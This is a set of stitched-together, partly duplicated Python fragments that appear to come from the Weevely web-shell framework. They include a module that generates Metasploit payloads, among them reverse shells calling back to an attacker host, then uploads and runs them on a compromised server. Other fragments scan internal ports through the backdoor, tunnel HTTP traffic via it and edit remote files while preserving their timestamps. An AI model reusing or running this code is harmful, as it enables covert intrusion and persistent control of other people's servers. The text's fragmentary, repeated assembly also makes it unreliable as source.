condition_result = condition(result) except Exception as e: import traceback log.info(traceback.format_exc()) log.debug(messages.vectorlist.vector_s_triggers_an_exc % vector.name) condition_result = False # Eventually store result or vector name if condition_result: if store_result: self.session[self.module_name]['results'][ vector.name] = result if store_name: self.session[self.module_name]['stored_args'][ store_name] = vector.name return vector.name, result return None, None
def run(self): # Get a temporary file name suffix = re.sub('[\W]+', '_', self.args['rpath']) temp_file = tempfile.NamedTemporaryFile(suffix = suffix) lpath = temp_file.name # Keep track of the old timestamp if requested if self.args['keep_ts']: timestamp = ModuleExec( 'file_check', [ self.args.get('rpath'), 'time' ] ).run() # If remote file already exists and readable if ModuleExec( 'file_check', [ self.args.get('rpath'), 'readable' ] ).run(): # Download file result_download = ModuleExec( 'file_download', [ self.args.get('rpath'), lpath ] ).run() # Exit with no result # The error should already been printed by file_download exec if result_download == None: return # Store original md5 md5_orig = hashlib.md5(open(lpath, 'rb').read()).hexdigest() # Run editor subprocess.check_call( [ self.args['editor'], lpath ]) # With no changes, just return if md5_orig == hashlib.md5(open(lpath, 'rb').read()).hexdigest(): log.debug(messages.module_file_edit.unmodified_file) temp_file.close() return else: subprocess.check_call( [ self.args['editor'], lpath ]) # Upload file result_upload = ModuleExec( 'file_upload', [ '-force', lpath, self.args.get('rpath') ] ).run() # Reset original timestamp if requested if self.args['keep_ts']: ModuleExec( 'file_touch', [ self.args.get('rpath'), '-epoch-ts', str(timestamp) ] ).run() # Delete temp file temp_file.close() return result_upload
from core import modules from core import messages from core import config import sys import pprint if __name__ == '__main__': try: if len(sys.argv) == 3 and sys.argv[1].startswith('http'): session = SessionURL( url = sys.argv[1], password = sys.argv[2]) elif len(sys.argv) == 2: session = SessionFile(sys.argv[1]) else: log.info(__doc__) raise FatalException(messages.generic.error_missing_arguments) log.debug( pprint.pformat(session) ) modules.load_modules(session) Terminal(session).cmdloop() except (KeyboardInterrupt, EOFError): log.info('Exiting.') except FatalException as e: log.critical('Exiting: %s' % e)
def run(self): ## Address handling # Explode every single IP or network starting from # format IP1,IP2-IP3,IP/MASK,.. IPs = [] for ip_or_network in self.args['addresses'].split(','): if ip_or_network.count('-') == 1: # If there is a dash, explode IPs += list(utils.iputil.ip_range(ip_or_network)) elif ip_or_network.count('/') == 1: # If there is a /, too IPs += [ str(utils.ipaddr.IPAddress(ip)) for ip in utils.ipaddr.IPNetwork(ip_or_network) ] else: IPs.append(ip_or_network) ## Port handling prts = utils.iputil.port_range(self.args['ports']) results_string = '' for ips_chunk in list( utils.strings.chunks(IPs, self.args['addresses_per_request'])): for prts_chunk in list( utils.strings.chunks(prts, self.args['ports_per_request'])): results_string += self.vectors.get_result( name='fsockopen', format_args={ 'ips': ips_chunk, 'prts': prts_chunk, 'timeout': self.args['timeout'] }) log.warn('Scanning addresses %s-%s:%i-%i' % (ips_chunk[0], ips_chunk[-1], prts_chunk[0], prts_chunk[-1])) # Crappy output handling result = [] for result_string in results_string.split('\n'): addr_string_splitted = result_string.split(' ') if addr_string_splitted[0] == 'OPN': address = addr_string_splitted[1] error = 'OPEN' elif addr_string_splitted[0] == 'ERR': address = addr_string_splitted[1] error = '%s (%s)' % (' '.join( addr_string_splitted[2:-1]), addr_string_splitted[-1]) else: log.debug(messages.module_net_scan.unexpected_response) continue if self.args.get('print'): result.append((address, error)) elif error == 'OPEN': result.append(address) return result
def find_first_result(self, names = [], format_args = {}, condition = None, store_result = False, store_name = ''): """ Execute all the vectors and return the first result matching the given condition. Return the name and the result of the first vector execution response that satisfy the given condition. With unspecified names, execute all the vectors. Optionally store results. Exceptions triggered checking condition function are catched and logged. Args: names (list of str): The list of names of vectors to execute. format_args (dict): The arguments dictionary used to format the vectors with. condition (function): The function or lambda to check certain conditions on result. Must returns boolean. store_result (bool): Store as result. store_name (str): Store the found vector name in the specified argument. Returns: Tuple. Contains the vector name and execution result in the `( vector_name, result )` form. """ if not callable(condition): raise DevException(messages.vectors.wrong_condition_type) if not isinstance(store_name, str): raise DevException(messages.vectors.wrong_store_name_type) for vector in self: # Skip with wrong vectors if not self._os_match(vector.target): continue # Clean names filter from empty objects names = [ n for n in names if n ] # Skip if names filter is passed but current vector is missing if names and not any(n in vector.name for n in names): continue # Add current vector name format_args['current_vector'] = vector.name # Run result = vector.run(format_args) # See if condition is verified try: condition_result = condition(result) except Exception as e: import traceback; log.info(traceback.format_exc()) log.debug(messages.vectorlist.vector_s_triggers_an_exc % vector.name) condition_result = False # Eventually store result or vector name if condition_result: if store_result: self.session[self.module_name]['results'][vector.name] = result if store_name: self.session[self.module_name]['stored_args'][store_name] = vector.name return vector.name, result return None, None
def run_argv(self, argv): """Execute the module. Get arguments list as argument. The arguments are parsed with getopt, and validated. Then calls setup() and run() of module. Normally does not need to be overridden. Args: argv (list of str): The list of arguments. Returns: Object. The result of the module execution. """ # Merge stored arguments with line arguments stored_args = self.session[self.name]['stored_args'] self.args = {} try: user_args = self.argparser.parse_args(argv) except SystemExit: raise ArgparseError() # The new arg must win over the stored one if: # new arg is not none and the value of the old one # is not just the default value for newarg_key, newarg_value in user_args.__dict__.items(): # Pick the default argument of the current arg default_value = next((action.default for action in self.argparser._actions if action.dest == newarg_key), None) stored_value = stored_args.get(newarg_key) if newarg_value != None and newarg_value != default_value: self.args[newarg_key] = newarg_value elif stored_value != None: self.args[newarg_key] = stored_value else: self.args[newarg_key] = default_value # If module status is IDLE, launch setup() if self.session[self.name]['status'] == Status.IDLE: self.session[self.name]['status'] = self.setup() # If setup still not set the status to RUN, return if self.session[self.name]['status'] != Status.RUN: return # If module status is FAIL, return if self.session[self.name]['status'] == Status.FAIL: log.debug(messages.module.module_s_inactive % self.name) return # Setup() could has been stored additional args, so all the updated # stored arguments are applied to args stored_args = self.session[self.name]['stored_args'] for stored_arg_key, stored_arg_value in stored_args.items(): if stored_arg_key != None and stored_arg_value != self.args.get(stored_arg_key): self.args[stored_arg_key] = stored_arg_value return self.run()
def minify_php(original_code): php_binary = spawn.find_executable('php') if not php_binary: log.debug(messages.utils_code.minify_php_missing_binary) return None try: output = subprocess.check_output([ php_binary, '-r', """function is_label($str) { return preg_match('~[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*+~',$str); } function get_tiny($snippet, $remove_whitespace=TRUE, $remove_comments=TRUE) { //generate tokens from snippet $tokens = token_get_all($snippet); //replace all variables, remove whitespace, remove comments $new_source = ''; foreach ($tokens as $i => $token) { if(!is_array($token)) { $new_source .= $token; continue; } if($remove_comments) { if(in_array($token[0],array(T_COMMENT,T_DOC_COMMENT))) { continue; } } if ($token[0] == T_WHITESPACE && $remove_whitespace) { if (isset($tokens[$i-1]) && isset($tokens[$i+1]) && is_array($tokens[$i-1]) && is_array($tokens[$i+1]) && is_label($tokens[$i-1][1]) && is_label($tokens[$i+1][1])) { $new_source .= ' '; } } elseif($token[0]==T_CASE) { $new_source .= $token[1].' '; } else { $new_source .= $token[1]; } } return $new_source; } $d=<<<'EOD' %s EOD; print(get_tiny($d)); """ % ('<?php %s ?>' % str(original_code)), ]) except Exception as e: import traceback log.debug(traceback.format_exc()) log.debug(messages.utils_code.minify_php_error_minifying) return None if len(output) < 8: return None return output[6:-2]
def do_GET(self): if self.path == 'http://weevely/': self.send_cacert() return req = self content_length = int(req.headers.get('Content-Length', 0)) req_body = self.rfile.read(content_length) if content_length else '' if req.path[0] == '/': if isinstance(self.connection, ssl.SSLSocket): req.path = "https://%s%s" % (req.headers['Host'], req.path) else: req.path = "http://%s%s" % (req.headers['Host'], req.path) req.headers['Content-length'] = str(len(req_body)) u = urlparse.urlsplit(req.path) scheme, netloc, path = u.scheme, u.netloc, (u.path + '?' + u.query if u.query else u.path) assert scheme in ('http', 'https') if netloc: req.headers['Host'] = netloc setattr(req, 'headers', self.filter_headers(req.headers)) net_curl_args = [ '-X', self.command, '-i' ] net_curl_args.append(self.path) for h in req.headers: if h.title().lower() == 'host': host = self.headers[h] net_curl_args += [ '-H', '%s: %s' % ( h.title(), self.headers[h] ) ] if self.command == 'POST': content_len = int(self.headers.getheader('content-length', 0)) net_curl_args += [ '-d', req_body ] lock.acquire() try: result, headers, saved = ModuleExec( 'net_curl', net_curl_args ).run() finally: lock.release() if not headers: log.debug('Error no headers') self.send_error(502) return log.debug('> ' + '\r\n> '.join([ '%s: %s' % (h.title(), self.headers[h]) for h in self.headers ])) log.debug('< ' + '\r\n< '.join(headers)) http_response_str = '\r\n'.join(headers) + '\r\n\r\n' + result source = FakeSocket(http_response_str) res = HTTPResponse(source) res.begin() version_table = {10: 'HTTP/1.0', 11: 'HTTP/1.1'} setattr(res, 'headers', res.msg) setattr(res, 'response_version', version_table[res.version]) # support streaming if not 'Content-Length' in res.headers and 'no-store' in res.headers.get('Cache-Control', ''): setattr(res, 'headers', self.filter_headers(res.headers)) self.relay_streaming(res) return try: res_body = res.read() except Exception as e: log.debug(e) self.send_error(500) return setattr(res, 'headers', self.filter_headers(res.headers)) self.wfile.write("%s %d %s\r\n" % (self.protocol_version, res.status, res.reason)) for line in res.headers.headers: self.wfile.write(line) self.end_headers() self.wfile.write(res_body) self.wfile.flush()
def log_message(self, format, *args): log.debug("%s - - [%s] %s\n" % (self.client_address[0], self.log_date_time_string(), format % self.args))
def run(self): ## Address handling # Explode every single IP or network starting from # format IP1,IP2-IP3,IP/MASK,.. IPs = [] for ip_or_network in self.args['addresses'].split(','): if ip_or_network.count('-') == 1: # If there is a dash, explode IPs += list( utils.iputil.ip_range(ip_or_network) ) elif ip_or_network.count('/') == 1: # If there is a /, too IPs += [ str(utils.ipaddr.IPAddress(ip)) for ip in utils.ipaddr.IPNetwork(ip_or_network) ] else: IPs.append(ip_or_network) ## Port handling prts = utils.iputil.port_range(self.args['ports']) results_string = '' for ips_chunk in list(utils.strings.chunks(IPs, self.args['addresses_per_request'])): for prts_chunk in list(utils.strings.chunks(prts, self.args['ports_per_request'])): results_string += self.vectors.get_result( name = 'fsockopen', format_args = { 'ips' : ips_chunk, 'prts' : prts_chunk, 'timeout' : self.args['timeout'] } ) log.warn('Scanning addresses %s-%s:%i-%i' % ( ips_chunk[0], ips_chunk[-1], prts_chunk[0], prts_chunk[-1] ) ) # Crappy output handling result = [] for result_string in results_string.split('\n'): addr_string_splitted = result_string.split(' ') if addr_string_splitted[0] == 'OPN': address = addr_string_splitted[1] error = 'OPEN' elif addr_string_splitted[0] == 'ERR': address = addr_string_splitted[1] error = '%s (%s)' % ( ' '.join(addr_string_splitted[2:-1]), addr_string_splitted[-1] ) else: log.debug( messages.module_net_scan.unexpected_response ) continue if self.args.get('print'): result.append((address, error)) elif error == 'OPEN': result.append(address) return result
def run(self): # Check msfvenom existance msvenom_path = spawn.find_executable(self.args['msfvenom_path']) if not msvenom_path: log.error( messages.module_backdoor_metasploit.msfvenom_s_not_found % self.args['msfvenom_path']) return # Set options according to the payload type options = [] if 'reverse' in self.args['payload']: lhost = self.args.get('lhost') if not lhost: log.error(messages.module_backdoor_metasploit. error_payload_s_requires_lhost % self.args['payload']) return else: options += [('LHOST', lhost)] else: options += [('RHOST', host)] options += [('PORT', self.args.get('port'))] log.warn(messages.module_backdoor_metasploit.make_sure_run_msfconsole) log.info( 'msfconsole -x "use exploit/multi/handler; set PAYLOAD %s; %s run"' % (self.args['payload'], ' '.join( ["set %s %s;" % (f, v) for f, v in options]))) # Get temporary file name local_file = tempfile.NamedTemporaryFile() local_path = local_file.name # Build argument list for msfvenom arguments_list = [ msvenom_path, '-p', self.args['payload'], '-o', local_path ] + ['%s=%s' % (v, f) for v, f in options] # Add executable format to the argument list if self.args['payload'].startswith('linux/'): arguments_list += ['-f', 'elf'] elif self.args['payload'].startswith('windows/'): arguments_list += ['-f', 'exe'] log.debug(' '.join(arguments_list)) # Generate meterpreter PHP code agent = '' status = 0 try: subprocess.check_call(arguments_list, stderr=open('/dev/null', 'w')) agent = open(local_path, 'r').read() except subprocess.CalledProcessError as e: status = e.returncode except Exception as e: log.debug(str(e)) status = -1 if status or not agent: log.error( messages.module_backdoor_metasploit.error_generating_payload) return if self.args['payload'].startswith('php/'): # If PHP payload, just run it PhpCode(agent, background=True).run() else: if self.session['shell_sh']['status'] != Status.RUN: log.error(messages.module_backdoor_metasploit. error_payload_s_requires_shell_use_php % self.args['payload']) return # Else: upload, execute, remove folders = ModuleExec( "file_find", ['-writable', '-quit', '-ftype', 'd', self.args['rpath'] ]).run() if not folders or not folders[0]: log.error(messages.module_backdoor_metasploit. error_searching_writable_folder_under_s % (self.args['rpath'])) return local_filename = os.path.basename(local_path) remote_path = os.path.join(folders[0], local_filename) ModuleExec("file_upload", [local_path, remote_path]).run() # Let the uploaded file executable ShellCmd("chmod +x %s" % (remote_path)).run() # Execute the payload in background ShellCmd(remote_path, background=True).run() ModuleExec("file_rm", [self.args['rpath']]).run()
def run_argv(self, argv): """Execute the module. Get arguments list as argument. The arguments are parsed with getopt, and validated. Then calls setup() and run() of module. Normally does not need to be overridden. Args: argv (list of str): The list of arguments. Returns: Object. The result of the module execution. """ # Merge stored arguments with line arguments stored_args = self.session[self.name]['stored_args'] self.args = {} try: user_args = self.argparser.parse_args(argv) except SystemExit: raise ArgparseError() # The new arg must win over the stored one if: # new arg is not none and the value of the old one # is not just the default value for newarg_key, newarg_value in user_args.__dict__.items(): # Pick the default argument of the current arg default_value = next((action.default for action in self.argparser._actions if action.dest == newarg_key), None) stored_value = stored_args.get(newarg_key) if newarg_value != None and newarg_value != default_value: self.args[newarg_key] = newarg_value elif stored_value != None: self.args[newarg_key] = stored_value else: self.args[newarg_key] = default_value # If module status is IDLE, launch setup() if self.session[self.name]['status'] == Status.IDLE: self.session[self.name]['status'] = self.setup() # If setup still not set the status to RUN, return if self.session[self.name]['status'] != Status.RUN: return # If module status is FAIL, return if self.session[self.name]['status'] == Status.FAIL: log.debug(messages.module.module_s_inactive % self.name) return # Setup() could has been stored additional args, so all the updated # stored arguments are applied to args stored_args = self.session[self.name]['stored_args'] for stored_arg_key, stored_arg_value in stored_args.items(): if stored_arg_key != None and stored_arg_value != self.args.get( stored_arg_key): self.args[stored_arg_key] = stored_arg_value return self.run()
def minify_php(original_code): php_binary = spawn.find_executable('php') if not php_binary: log.debug(messages.utils_code.minify_php_missing_binary) return None try: output = subprocess.check_output( [ php_binary, '-r', """function is_label($str) { return preg_match('~[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*+~',$str); } function get_tiny($snippet, $remove_whitespace=TRUE, $remove_comments=TRUE) { //generate tokens from snippet $tokens = token_get_all($snippet); //replace all variables, remove whitespace, remove comments $new_source = ''; foreach ($tokens as $i => $token) { if(!is_array($token)) { $new_source .= $token; continue; } if($remove_comments) { if(in_array($token[0],array(T_COMMENT,T_DOC_COMMENT))) { continue; } } if ($token[0] == T_WHITESPACE && $remove_whitespace) { if (isset($tokens[$i-1]) && isset($tokens[$i+1]) && is_array($tokens[$i-1]) && is_array($tokens[$i+1]) && is_label($tokens[$i-1][1]) && is_label($tokens[$i+1][1])) { $new_source .= ' '; } } elseif($token[0]==T_CASE) { $new_source .= $token[1].' '; } else { $new_source .= $token[1]; } } return $new_source; } $d=<<<'EOD' %s EOD; print(get_tiny($d)); """ % ('<?php %s ?>' % str(original_code)), ]) except Exception as e: import traceback; log.debug(traceback.format_exc()) log.debug(messages.utils_code.minify_php_error_minifying) return None if len(output) < 8: return None return output[6:-2]
from core.terminal import Terminal from core.weexceptions import FatalException from core.loggers import log from core.sessions import SessionURL, SessionFile from core import modules from core import messages from core import config import sys import pprint if __name__ == '__main__': try: if len(sys.argv) == 3 and sys.argv[1].startswith('http'): session = SessionURL(url=sys.argv[1], password=sys.argv[2]) elif len(sys.argv) == 2: session = SessionFile(sys.argv[1]) else: log.info(__doc__) raise FatalException(messages.generic.error_missing_arguments) log.debug(pprint.pformat(session)) modules.load_modules(session) Terminal(session).cmdloop() except (KeyboardInterrupt, EOFError): log.info('Exiting.') except FatalException as e: log.critical('Exiting: %s' % e)
def run(self): # Check msfvenom existance msvenom_path = spawn.find_executable( self.args['msfvenom_path'] ) if not msvenom_path: log.error( messages.module_backdoor_metasploit.msfvenom_s_not_found % self.args['msfvenom_path'] ) return # Set options according to the payload type options = [] if 'reverse' in self.args['payload']: lhost = self.args.get('lhost') if not lhost: log.error( messages.module_backdoor_metasploit.error_payload_s_requires_lhost % self.args['payload'] ) return else: options += [ ( 'LHOST', lhost ) ] else: options += [ ( 'RHOST', host ) ] options += [ ( 'PORT', self.args.get('port') ) ] log.warn(messages.module_backdoor_metasploit.make_sure_run_msfconsole) log.info( 'msfconsole -x "use exploit/multi/handler; set PAYLOAD %s; %s run"' % ( self.args['payload'], ' '.join([ "set %s %s;" % (f, v) for f, v in options ]) ) ) # Get temporary file name local_file = tempfile.NamedTemporaryFile() local_path = local_file.name # Build argument list for msfvenom arguments_list = [ msvenom_path, '-p', self.args['payload'], '-o', local_path ] + [ '%s=%s' % (v, f) for v,f in options ] # Add executable format to the argument list if self.args['payload'].startswith('linux/'): arguments_list += [ '-f', 'elf' ] elif self.args['payload'].startswith('windows/'): arguments_list += [ '-f', 'exe' ] log.debug(' '.join(arguments_list)) # Generate meterpreter PHP code agent = '' status = 0 try: subprocess.check_call( arguments_list, stderr=open('/dev/null', 'w') ) agent = open(local_path, 'r').read() except subprocess.CalledProcessError as e: status = e.returncode except Exception as e: log.debug(str(e)) status = -1 if status or not agent: log.error( messages.module_backdoor_metasploit.error_generating_payload ) return if self.args['payload'].startswith('php/'): # If PHP payload, just run it PhpCode(agent, background = True).run() else: if self.session['shell_sh']['status'] != Status.RUN: log.error( messages.module_backdoor_metasploit.error_payload_s_requires_shell_use_php % self.args['payload'] ) return # Else: upload, execute, remove folders = ModuleExec( "file_find", [ '-writable', '-quit', '-ftype', 'd', self.args['rpath'] ] ).run() if not folders or not folders[0]: log.error(messages.module_backdoor_metasploit.error_searching_writable_folder_under_s % (self.args['rpath'])) return local_filename = os.path.basename(local_path) remote_path = os.path.join(folders[0], local_filename) ModuleExec( "file_upload", [ local_path, remote_path ] ).run() # Let the uploaded file executable ShellCmd("chmod +x %s" % (remote_path)).run() # Execute the payload in background ShellCmd(remote_path, background = True).run() ModuleExec( "file_rm", [ self.args['rpath'] ] ).run()